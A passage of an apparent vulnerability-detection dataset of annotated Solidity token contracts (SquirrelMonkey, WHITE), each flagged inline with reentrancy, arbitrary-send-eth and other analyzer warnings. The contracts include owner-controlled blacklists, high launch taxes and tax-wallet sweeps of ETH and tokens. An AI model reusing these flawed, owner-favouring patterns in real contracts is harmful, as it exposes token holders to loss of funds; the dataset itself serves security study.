address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1ca087c\n\t\t// reentrancy-events | ID: 4bbbb8b\n\t\t// reentrancy-benign | ID: 5e62f74\n\t\t// reentrancy-eth | ID: 6c54322\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4710262): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4710262: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1ca087c\n\t\t// reentrancy-events | ID: 4bbbb8b\n\t\t// reentrancy-eth | ID: 6c54322\n\t\t// arbitrary-send-eth | ID: 4710262\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ab0f434): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ab0f434: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1b6bf01): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1b6bf01: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bd3fb79): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bd3fb79: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d1bec7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d1bec7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ab0f434\n\t\t// reentrancy-eth | ID: 0d1bec7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ab0f434\n\t\t// unused-return | ID: 1b6bf01\n\t\t// reentrancy-eth | ID: 0d1bec7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ab0f434\n\t\t// unused-return | ID: bd3fb79\n\t\t// reentrancy-eth | ID: 0d1bec7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ab0f434\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0d1bec7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10182.sol",
"size_bytes": 20543,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SquirrelMonkey is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ecfa77): SquirrelMonkey._taxWallet should be immutable \n\t// Recommendation for 4ecfa77: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c126bc0): SquirrelMonkey._initialBuyTax should be constant \n\t// Recommendation for c126bc0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 945487e): SquirrelMonkey._initialSellTax should be constant \n\t// Recommendation for 945487e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a302ad): SquirrelMonkey._finalBuyTax should be constant \n\t// Recommendation for 7a302ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc6b7f0): SquirrelMonkey._finalSellTax should be constant \n\t// Recommendation for fc6b7f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddae64e): SquirrelMonkey._reduceBuyTaxAt should be constant \n\t// Recommendation for ddae64e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45aa5fd): SquirrelMonkey._reduceSellTaxAt should be constant \n\t// Recommendation for 45aa5fd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b17518): SquirrelMonkey._preventSwapBefore should be constant \n\t// Recommendation for 4b17518: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 255b44f): SquirrelMonkey._transferTax should be constant \n\t// Recommendation for 255b44f: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 96000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Squirrel Monkey\";\n\n string private constant _symbol = unicode\"SAIMIRI\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6049d5): SquirrelMonkey._taxSwapThreshold should be constant \n\t// Recommendation for a6049d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25e1d92): SquirrelMonkey._maxTaxSwap should be constant \n\t// Recommendation for 25e1d92: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a430d33): SquirrelMonkey.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a430d33: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fdb121c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fdb121c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eb3be50): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eb3be50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fdb121c\n\t\t// reentrancy-benign | ID: eb3be50\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fdb121c\n\t\t// reentrancy-benign | ID: eb3be50\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e5c7c11): SquirrelMonkey._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e5c7c11: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: eb3be50\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fdb121c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f956f4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f956f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 730683a): SquirrelMonkey._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 730683a: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00392b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00392b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: 730683a\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2f956f4\n\t\t\t\t// reentrancy-eth | ID: 00392b8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2f956f4\n\t\t\t\t\t// reentrancy-eth | ID: 00392b8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 00392b8\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 00392b8\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 00392b8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2f956f4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 00392b8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 00392b8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2f956f4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2f956f4\n\t\t// reentrancy-events | ID: fdb121c\n\t\t// reentrancy-benign | ID: eb3be50\n\t\t// reentrancy-eth | ID: 00392b8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8d48397): SquirrelMonkey.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8d48397: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2f956f4\n\t\t// reentrancy-events | ID: fdb121c\n\t\t// reentrancy-eth | ID: 00392b8\n\t\t// arbitrary-send-eth | ID: 8d48397\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 054b462): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 054b462: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ab38ce): SquirrelMonkey.launchSAIMIRI() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8ab38ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7797acc): SquirrelMonkey.launchSAIMIRI() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7797acc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b231b55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b231b55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launchSAIMIRI() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 054b462\n\t\t// reentrancy-eth | ID: b231b55\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 054b462\n\t\t// unused-return | ID: 8ab38ce\n\t\t// reentrancy-eth | ID: b231b55\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 054b462\n\t\t// unused-return | ID: 7797acc\n\t\t// reentrancy-eth | ID: b231b55\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 054b462\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b231b55\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 054b462\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function manualTokenSend(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualETHSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n}\n",
"file_name": "solidity_code_10183.sol",
"size_bytes": 21050,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n\n uint256 c = a / b;\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WHITE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _buyerMap;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c2db988): WHITE.bots is never initialized. It is used in WHITE._transfer(address,address,uint256) WHITE.isBot(address)\n\t// Recommendation for c2db988: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e28b331): WHITE._taxWallet should be immutable \n\t// Recommendation for e28b331: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b90537): WHITE._initialBuyTax should be constant \n\t// Recommendation for 5b90537: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e360a2): WHITE._initialSellTax should be constant \n\t// Recommendation for 8e360a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 889a146): WHITE._finalBuyTax should be constant \n\t// Recommendation for 889a146: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f6ee81): WHITE._finalSellTax should be constant \n\t// Recommendation for 6f6ee81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce2f841): WHITE._reduceBuyTaxAt should be constant \n\t// Recommendation for ce2f841: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 373e3ab): WHITE._reduceSellTaxAt should be constant \n\t// Recommendation for 373e3ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 809bb30): WHITE._preventSwapBefore should be constant \n\t// Recommendation for 809bb30: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"White Lines\";\n\n string private constant _symbol = unicode\"WHITE\";\n\n uint256 public _maxTxAmount = 10000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a551eb9): WHITE._taxSwapThreshold should be constant \n\t// Recommendation for a551eb9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f08f3d5): WHITE._maxTaxSwap should be constant \n\t// Recommendation for f08f3d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e025c2e): WHITE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e025c2e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, 